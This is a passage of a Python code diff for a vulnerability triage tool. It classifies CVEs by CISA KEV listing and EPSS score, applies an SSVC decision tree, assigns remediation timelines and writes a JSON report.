KEV and EPSS.""" + kev = self.check_cisa_kev(cve_id) + if kev and kev.get("in_kev"): + return ExploitationStatus.ACTIVE, kev + epss = self.get_epss_score(cve_id) + if epss and epss.get("epss", 0) > 0.5: + return ExploitationStatus.POC, epss + if epss and epss.get("epss", 0) > 0.1: + return ExploitationStatus.POC, epss + return ExploitationStatus.NONE, epss + + def evaluate_decision(self, exploitation, technical_impact, automatability=None, + mission_prevalence=None): + """Walk the SSVC decision tree to produce a prioritization.""" + if (exploitation, technical_impact) in SSVC_DECISION_TREE: + return SSVC_DECISION_TREE[(exploitation, technical_impact)] + if automatability: + key = (exploitation, technical_impact, automatability) + if key in SSVC_DECISION_TREE: + return SSVC_DECISION_TREE[key] + if mission_prevalence: + key = (exploitation, technical_impact, automatability, mission_prevalence) + if key in SSVC_DECISION_TREE: + return SSVC_DECISION_TREE[key] + return SSVCDecision.TRACK + + def triage_cve(self, cve_id, technical_impact=TechnicalImpact.PARTIAL, + automatability=Automatability.NO, + mission_prevalence=MissionPrevalence.SUPPORT): + """Full SSVC triage for a single CVE.""" + exploitation, enrichment = self.determine_exploitation(cve_id) + decision = self.evaluate_decision(exploitation, technical_impact, + automatability, mission_prevalence) + result = { + "cve_id": cve_id, + "exploitation_status": exploitation, + "technical_impact": technical_impact, + "automatability": automatability, + "mission_prevalence": mission_prevalence, + "decision": decision, + "enrichment": enrichment, + "remediation_timeline": self._get_timeline(decision), + } + self.results.append(result) + return result + + def _get_timeline(self, decision): + timelines = { + SSVCDecision.ACT: "Immediate - remediate within 24-48 hours", + SSVCDecision.ATTEND: "Urgent - remediate within 1-2 weeks", + SSVCDecision.TRACK_STAR: "Scheduled - remediate in next patch cycle", + SSVCDecision.TRACK: "Monitor - include in regular vulnerability management", + } + return timelines.get(decision, "Unknown") + + def triage_batch(self, cves, defaults=None): + """Triage a list of CVEs with optional default parameters.""" + defaults = defaults or {} + for cve in cves: + self.triage_cve( + cve, + technical_impact=defaults.get("technical_impact", TechnicalImpact.PARTIAL), + automatability=defaults.get("automatability", Automatability.NO), + mission_prevalence=defaults.get("mission_prevalence", MissionPrevalence.SUPPORT), + ) + return self.results + + def generate_report(self, cves=None): + if cves: + self.triage_batch(cves) + by_decision = {} + for r in self.results: + d = r["decision"] + by_decision[d] = by_decision.get(d, 0) + 1 + + report = { + "report_date": datetime.utcnow().isoformat(), + "framework": "SSVC (CISA Stakeholder-Specific Vulnerability Categorization)", + "total_triaged": len(self.results), + "by_decision": by_decision, + "triage_results": self.results, + } + out = self.output_dir / "ssvc_triage_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [CVE-ID2 ...] [--impact total|partial]") + sys.exit(1) + cves = [a for a in sys.argv[1:] if a.startswith("CVE-")] + impact = TechnicalImpact.PARTIAL + if "--impact" in sys.argv: + val = sys.argv[sys.argv.index("--impact") + 1] + impact = TechnicalImpact.TOTAL if val == "total" else TechnicalImpact.PARTIAL + agent = SSVCTriageAgent() + agent.generate_report(cves) + + +if __name__ == "__main__": + main()